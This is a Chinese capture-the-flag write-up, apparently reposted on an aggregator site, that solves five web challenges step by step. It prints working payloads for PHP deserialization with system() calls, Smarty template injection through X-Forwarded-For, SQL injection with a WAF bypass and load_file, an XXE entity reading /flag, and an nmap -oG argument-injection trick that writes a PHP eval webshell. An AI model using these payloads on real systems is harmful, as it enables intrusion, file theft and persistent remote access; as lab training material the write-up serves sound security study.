渗透测试练习题解析 3(CTF web)

这篇具有很好参考价值的文章主要介绍了渗透测试练习题解析 3(CTF web)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、[网鼎杯 2020 朱雀组]phpweb 1

考点:反序列化漏洞利用

进入靶场,查看检查信息,发现存在两个参数 func 和 p

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

查看页面源代码

payload:func=file_get_contents&p=php://filter/resource=index.php

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

整理后,就是 PHP 代码审计了

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//过滤命令执行的关键字
    function gettime($func, $p) {
        $result = call_user_func($func, $p);//这里由于使用了call_user_func,这个函数是突破口
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        //过滤
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

gettime 中使用了 call_user_func() 函数

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

也就是说 $func 会被当成回调函数来执行,而 $p 则当做 $func 的参数

Test 类中存在魔术方法 __destruct(),在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。(new 和 unserialize  触发

因为该方法会在类被销毁时调用,所以我们反序列化一个类,在类里面的参数中写上我们要执行的代码和函数,这样的话就会直接调用 gettime 函数,不会执行 in_array($func,$disable_fun) ,从而绕过黑名单。

不了解序列化和反序列化的先看下面的文章

反序列化漏洞详解-CSDN博客

序列化与反序列化介绍_序列化和反序列化-CSDN博客

接下来就是解题思路了

我们还不知道 flag 有关的文件在哪,所以需要查看目录,利用 call_user_func() 函数的特性,我们给第一个参数传递系统命令:system;第二个参数传递:ls,来查看目录,然后为了绕过黑名单,我们需要先把 system("ls") 序列化一下

<?php
    function gettime($func,$p){
        $result = call_user_func($func,$p);
        $a = gettype($result);
        if($a == "string"){
            return $result;
        }else{ return " "; }
    }
    class Test{
        var $func = "system";
        var $p = "ls";
        function __destruct(){
            if($this->func != " "){
                echo gettime($this->func,$this->p);
            }
        }
    }

    $a = new Test();
    echo serialize($a);
?>

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

把序列化后的字符串当做 $p 的值传给 $func ,$func 则传一个反序列化函数

payload:func=unserialize=&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

发现回显了一些文件,但是并没有与 flag 有的文件,我们可以尝用命令去目录中搜索相关的文件名

payload:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

提交后会有些慢,因为要扫描目录,等待就好了

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

大家可以用 burp ,那样得到的数据是清晰的,这样子的数据太混乱了,不方便阅读,由上图所示,猜测 /tmp/flagoefiu4r93 里面就有我们的 flag,接下来对该文件进行读取。

class Test{
        var $func = "system";
        var $p = "cat /tmp/flagoefiu4r93";
        function __destruct(){
            if($this->func != " "){
                echo gettime($this->func,$this->p);
            }
        }
    }

payload:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

flag{29c9b107-32ff-446b-8474-e4121e71b421}

2、[BJDCTF2020]The mystery of ip 1

考点:SSTI 模版注入

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

看到 IP 地址,联想到 X-Forwarded-For,构造 XFF ,发现回显的是我们构造的 IP 地址

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

实际上,不管我们输入什么都会回显给我们,猜测是 SSTI 模版注入,猜测是模版注入后我们可以用 {{ 命令 }} 的方式来注入

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

接下来就入住命令来获取关键信息

构造payload

X-Forwarded-For:{{system("ls")}}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

发现 flag.php 我们查看一下,发现并没有出现 flag,我们再查看一下根目录

X-Forwarded-For:{{system("ls /")}}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

出现了 flag,查看一下

{{system("cat /flag")}}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

另一种方式,实际上也是注入命令,不过表达的方式不太一样。先查看一下是什么类型的模版

PHP常见的模板:twig,smarty,blade

X-Forwarded-For:{{(config}}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

发现是 smarty 模版

Smarty自学笔记_smarty html原样输出-CSDN博客

查看目录

{if system(“ls”)}{/if}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

这里的flag.php是假的,要查根目录下的

{if system(“ls /”)}{/if}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

获取 flag

X-Forwarded-For:{if system("cat /flag")}{/if}

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

3、[网鼎杯 2018]Fakebook 1

考点:序列化和反序列化 + SSRF + SQL 注入 + base64 编码

进入页面,没发现可疑的地方,也不存在 SQL 注入,注册个账户看看

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

点击 admin 进入用户,发现 URL 存在参数,这里可能存在注入点

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

输入:1 and 1=1 ,页面回显正常

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

输入:1 and 1=2 ,页面回显异常

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

说明页面存在 SQL 注入,且为数字型注入

判断列数,4 列的时候正常,5 列的时候异常,说明存在 4 列

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

先使用联合注入试试看,判断回显位

-1 union select 1,2,3,4

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

没法用,猜测是某些关键字被过滤了,试了很多绕过都不行,最后看大佬的 wp 才知道存在 WAF,union select 被过滤了 ,使用 /**/ 可以绕过

-1 union/**/select 1,2,3,4

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

爆破数据库名

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

爆破表格名

-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

【group_concat(table_name) 和 from information_schema.XXXXXXXX 是可以分开写的,因为 group_concat() 是独立的,回显点在哪 group_concat() 就放在哪】

举个例子:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

爆破字段名

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

爆破字段内容

其他字段内容都没什么可疑的,只有 data 字段内的内容可疑,我们注册的账号被序列化输出了

-1 union/**/select 1,group_concat(data),3,4 from users

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

莫名其妙,应该是前面漏了什么步骤,回去看大佬 wp,发现本题还存在源码泄露问题,利用 kali 的后台扫描工具 dirb 进行扫描,发现 robots.txt 这个敏感信息文件

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

访问后里面的内容记录着一个备份文件 /user.php.bak (.bak 为后缀的为备份文件),访问直接下载

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

代码审计

  • curl_init:初始化一个 curl 会话,供 curl_setopt(),curl_exec() 和 curl_close() 函数使用
  • curl_setopt:请求一个 url,其中 CURLOPT_URL 表示需要获取的 URL 地址,后面就是跟上了它的值
  • CURLOPT_RETURNTRANSFER 将 curl_exec() 获取的信息以文件流的形式返回,而不是直接输出
  • curl_exec,成功时返回 TRUE,或者在失败时返回 FALSE。然而,如果 CURLOPT_RETURNTRANSFER 选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE
  • CURLINFO_HTTP_CODE:最后一个收到的 HTTP 代码
  • curl_getinfo:以字符串形式返回它的值,因为设置了 CURLINFO_HTTP_CODE,所以返回的是状态码。如果状态码不是 404,就返回 exec 的结果。

get 函数在 getBlogContents 中被调用

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

blog 作为参数

由于代码使用正则限制了 blog 的内容,所以只能使用序列化把 blog 注入进去

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

序列化代码

注意要照葫芦画瓢,类名为 Userinfo ,name 、age和爆破出来的字段内容一样(也就是注册时的内容)

<?php
class Userinfo{
    public $name = "admin";
    public $age = 123;
    public $blog = "file:///var/www/html/flag.php";
}

$a = new Userinfo();
echo serialize($a);
?>

结果

O:8:"Userinfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造 payload

-1 union/**/select 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这里为什么是注入在 4 的位置?

因为 data 这个表的位置在第 4 列,而根据回显信息可以猜测 data 字段存在漏洞,会对内容进行一次序列化,所以把内容注入到 data 中

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

查看页面源代码,对该字符串进行 base64 解码

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

非预期解法

使用 SQL 的 load_file()

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

查看源代码直接出结果

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

下图内容取自:BUUCTF[网鼎杯 2018]Fakebook 1 - LoYoHo00 - 博客园 (cnblogs.com)

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

4、[NCTF2019]Fake XML cookbook 1

考点:XXE 漏洞

进入靶场

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

谁便输入看看提示什么

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

提示登录失败,开始考虑的是 SQL 注入,发现没有注入点,退回去看题目,有 XML 的字样,猜测应该是考察 XXE 漏洞 (XML 外部实体注入漏洞)

不了解该漏洞的看这篇文章

浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

服务器端漏洞篇之XML外部实体注入(XXE)专题 - FreeBuf网络安全行业门户

懒得看的这里我给大家简单介绍一下

XXE 漏洞产生的原因:

        应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部软件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 DOS 攻击等危害。【XXE 漏洞触发的点往往是可以上传 XML 文件的位置没有对上传的 XML 文件进行过滤,导致可上传恶意 XML 文件】


XML 和 HTML 区别:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

当然,XXE 也存在隐藏攻击的方式,有些地方可以在没有输入任何 XML 格式的数据的情况下发动 XXE 攻击,例如

  • XInclude 攻击
  • 通过文件上传的 XXE 攻击
  • 通过修改 Content-Type 的 XXE 攻击

1、XInclude 攻击

        有些应用程序的服务端会将从客户端接收的内容嵌入到 XML 文档中然后解析,这就导致因为我们无法控制整个 XML 文档而无法发动常规的 XXE 攻击,但是我们可以通过 XInclude 在该 XML 文档中构建子 XML 文档,想要使用 XInclude 我们需要引入相应的命名空间。(详细看上面第二条链接)

2、通过文件上传的 XXE 攻击

        有的应用程序允许上传 XML 格式的文件,比如 office 文档或 SVG 图像,然后这些文件也会因为在服务端解析而触发 XXE 攻击。

深入简出 SVG 教程 - 知乎 (zhihu.com)

3、通过修改 Content-Type 的 XXE 攻击

        大部分的 POST 请求的 Content-Type 都是表单类型(application/x-www-form-urlencoded),但是有的应用程序允许将其修改成 text/xml,这样我们就可以将报文内容替换成 XML 格式的内容了,如下所示

POST /action HTTP/1.0

Content-Type:text/xml

Content-Length:52

<?xml version="1.0" encoding="UTF-8"?>

<foo>bar</foo>

下面是本题的解题思路

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

要注意这里,加 &  、;  前面就是没注意到这点一直做不出来

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY adm SYSTEM "file:///flag">
  ]>
<user><username>&adm;</username><password>123456</password></user>

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

5、[BUUCTF 2018]Online Tool 1

考点:escapeshellarg () 和 escapeshellcmd () 漏洞 + nmap 文件写入的利用

进入靶场,代码审计

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

分析代码

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

PHP 中 $_SERVER 参数 HTTP_X_FORWARDED_FORREMOTE_ADDR

在 PHP 中使用 $_SERVER["REMOTE_ADDR"] 来获取客户端的 IP 地址,如果客户端使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。若想透过代理服务器获取客户端的真实 IP 地址,就要使用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来获取。

【当然了,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实 IP,有些用此方法读取到的仍然是代理服务器的 IP】

(如果客户端通过代理服务器,则取 HTTP_X_FORWARDED_FOR 的值,如果没通过代理服务器,就取 REMOTE_ADDR 的值)

escapeshellarg:把字符串转码为可以在 shell 命令里使用的参数。

escapeshellarg 在 CTF 中的利用:

  • 参数注入(开发人员错误的使用 escapeshellarg 函数)
  • 逃逸字符串(该函数非二进制安全)

escapeshellcmd:shell 元字符转义

(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

PHP chdir () 函数:

它将 PHP 的当前目录更改为传递的目录。

<?php
    echo getcwd() . "\n";
    
    chdir('html');

    echo getcwd() . "\n";
?>

/*
输出结果:
/home/tutorialspoint
/home/tutorialspoint/html/
*/

PHP mkdir () 函数:用来创建目录

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

代码整体功能:

1、首先判断客户端提供给服务器和服务器自动获取的 IP 是否一致。

2、判断 get host 参数的传值,没有传值调用 highlight_file(__FILE__)。

3 、传值,host 传递参数经过 escapeshellarg、escapeshellcmd 函数的限制。

4、以 ‘glzjin’ + IP 通过 md5 加密,结果作为文件名创建文件。调用 chdir ()  函数,当前文件地址更改为创建的文件

5、输出 system 执行结果

解题思路

escapeshellarg 处理后先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

举例:

192.168.1.100' -oG 经过 escapeshellarg 处理后就变成 ' 192.168.1.100 ' \' ' -oG ' 以被转义的单引号为中心左右被分成两部分并且加上单引号。

随后再进过 escapeshellcmd 时变成:' 192.168.1.100 ' \\ ' ' -oG \' 【会发现将不成对的单引号及 \ 符号再次添加 \ 】前面被转义的单引号被认为是和 -oG 左边单引号成对的,导致 -oG 右边的单引号被认为是不成对的单引号,因此被转义。

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

这位博主写的很详细【[BUUCTF 2018]Online Tool - My_Dreams - 博客园 (cnblogs.com)】

代码的本意是要我们输入 IP 这样的参数做一个扫描,通过前面说的那两个函数来进行规则过滤,我们的输入会被单引号括起来,但是因为前面我们所描述的漏洞告诉我们可以逃脱引号的束缚

-oG 是 nmap 的一个参数,可以实现将命令和结果写到文件

正是因为 nmap 存在 -oG 这个参数,所以我们可以控制自己的输入写入到文件,配合一句话木马来使用。当然也可以使用命令 cat /flag

方法一:一句话木马

?host=' <?php @eval($_POST["123"]);?> -oG hack.php '

构造完 payload 回车后,页面会显示文件名

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

使用蚁剑进行连接

fcbaaa3b-8c9f-46d1-a647-3790cd66ccb3.node5.buuoj.cn:81/2776a2b4045f0b6fecd14c61ea2a61b0/hack.php

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

提示

hack.php 文件名自定义,后缀是 .php 就好

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

方法二:直接使用命令

?host=' <?php echo `cat /flag`;?> -oG abc.php '

注意:

  • cat /flag 用反引号括起来;
  • 单引号和 < > 之间需要有空格

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全

把路径拼接好即可

渗透测试练习题解析 3(CTF web),CTF web,前端,安全,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-836827.html

到了这里,关于渗透测试练习题解析 3(CTF web)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Vue课后练习题及答案解析

    第一章 Vue.js基础入门 填空题 Vue是一套构建________的渐进式框架。 MVVM主要包含3个部分,分别是Model、View和________。 Vue中通过________属性获取相应的DOM元素。 在进行Vue调试时,通过使用________工具来完成项目开发。 Vue中页面结构以________形式存在。 判断题 Vue与Angular和React框架

    2024年02月09日
    浏览(48)
  • 【技能树笔记】网络篇——练习题解析(八)

    目录 前言 一、LAN技术 1.1 堆叠与集群 1.2 MSTP的特点 二、WAN技术 2.1 PPP链路建立 2.2 PPPoE 2.3 组播 2.3.1 组播的IP 2.3.2 组播分发树 2.3.3 组播协议 三、IPv6基础 3.1 IPv6地址 3.2 IPv6协议 3.3 IPv6过渡技术 总结 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所

    2024年02月07日
    浏览(40)
  • 【技能树笔记】网络篇——练习题解析(七)

    目录 前言 一、RIP 1.1 VLAN数据帧 二、OSPF 2.1 OSPF 分组类型 2.2 OSPF 区域划分 2.3 OSPF状态交互链路 2.4 OSPF特殊区域 三、ISIS 3.1 ISIS动态路由协议 3.2 ISIS路由器分类 3.3 ISIS DIS 四、BGP 4.1 BGP基本信息 4.2 BGP属性 4.3 BGP路由通告 五、路由策略 5.1 路由策略作用 5.2 路由策略应用

    2024年02月08日
    浏览(39)
  • 【技能树笔记】网络篇——练习题解析(十)

    【技能树笔记】网络篇——练习题解析(一)-CSDN博客 【技能树笔记】网络篇——练习题解析(二)-CSDN博客 【技能树笔记】网络篇——练习题解析(三)-CSDN博客 【技能树笔记】网络篇——练习题解析(四)-CSDN博客 【技能树笔记】网络篇——练习题解析(五)-CSDN博客 【

    2024年02月08日
    浏览(43)
  • 【技能树笔记】网络篇——练习题解析(五)

    目录 前言 一、应用层的作用 二、HTTP协议 三、FTP协议 四、DNS协议 五、DHCP协议 六、邮件协议 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。 💡本文由Filotimo__✍️原创,首发于CSDN📚。 📣如需转载,请事先与我联系以获得授权⚠️。 🎁欢迎大

    2024年02月08日
    浏览(44)
  • C语言——指针和数组练习题解析

    学习了指针的初阶和进阶后,已经对指针有了一定了解。下面就需要做题目,去巩固所学的知识。 对数组名的理解: 数组名是数组首元素的地址,但是由两个例外 sizeof(数组名),这里的数组名表示整个数组,计算的是整个数组的大小。 数组名,这里的数组名是整个数组,

    2024年02月16日
    浏览(56)
  • 【技能树笔记】网络篇——练习题解析(二)

    目录 前言 一. 数据链路层的作用 1.1 数据链路层作用 1.2 数据链路层封装 1.3 数据链路层功能 1.4 数据帧格式 二. MAC地址及分类 2.1 MAC地址 2.2 MAC地址分类 三. 交换机的作用 3.1 交换机的作用 3.2 交换机作用 四.交换机的工作原理 4.1 交换机的工作原理 4.2 交换机帧处理 五.

    2024年02月07日
    浏览(41)
  • 【技能树笔记】网络篇——练习题解析(九)

    目录 前言 一、OSPF双栈 1.1 OSPFv3 LSA 1.2 OSPFv3 二、ISIS双栈 2.1 ISISv6 2.2 ISIS高级特性 三、BGP双栈 四、PIM双栈 总结 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。 💡本文由Filotimo__✍️原创,首发于CSDN📚。 📣如需转载,请事先与我联系以获得授

    2024年02月08日
    浏览(41)
  • 【技能树笔记】网络篇——练习题解析(四)

    目录 前言 一、传输层的作用 二、端口号的分类、作用 三、TCP协议的特点及应用 四、UDP协议的特点及应用 总结 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。 💡本文由Filotimo__✍️原创,首发于CSDN📚。 📣如需转载,请事先与我联系以获得授

    2024年02月08日
    浏览(40)
  • 【技能树笔记】网络篇——练习题解析(三)

    目录 前言 一、网络层的功能 二、IP协议的特点 三、IPv4地址的分类和计算 四、常用协议和命令 五、路由表的工作原理 六、静态路由 七、动态路由 八、IPv6地址介绍 总结 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。 💡本文由Filotimo__✍️原创

    2024年02月08日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包